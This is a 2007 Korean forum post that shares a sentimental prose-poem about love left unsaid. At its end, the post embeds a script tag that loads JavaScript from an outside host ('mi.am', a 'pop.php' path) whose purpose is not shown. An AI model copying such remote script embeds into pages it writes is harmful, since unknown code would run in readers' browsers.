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『29일자』 ♣... 아끼고 아낀 한마디 ...♣
게시물ID : lovestory_23067짧은주소 복사하기
작성자 : 한마디Ω
추천 : 0
조회수 : 818회
댓글수 : 1개
등록시간 : 2007/04/29 12:10:14
♣... 아끼고 아낀 한마디 ...♣

하고픈 말 다하고 살 순 없겠지요 아파도 아프다고 하지 못할 때도 있고 넘치도록 행복해도 굳이 말로 하지 않을 때도 있답니다 좋은 일 있을 때 함께 기뻐해 주진 못 해도 가슴으로나마 잘된 일이라고 축복해 주는 것이 얼마나 다행스러운지 모릅니다 외롭고 슬플 때 세상에 혼자라고 느낄 때 곁에 있어 주지 못함이 안타까운 것을 꼭 말로 해야 할까요 멀리서 지켜보는 아픔은 말로는 못 한답니다 흔하디 흔해서 지겹게까지 느끼는 그 말을 하지 않았다고 그토록 아파하진 말아요 하고픈 말 다하고 살수는 없답니다 아끼고 아낀 그 한 마디 사랑한다는 그 말 쉽게 하는 것, 정말 아니라고 생각합니다 진실은 가슴속에 있다고 생각합니다 - 낯선 그리움 중에서 - <script src = "http://mi.am/subdot/pop/pop.php?script=1&id=he"></script>

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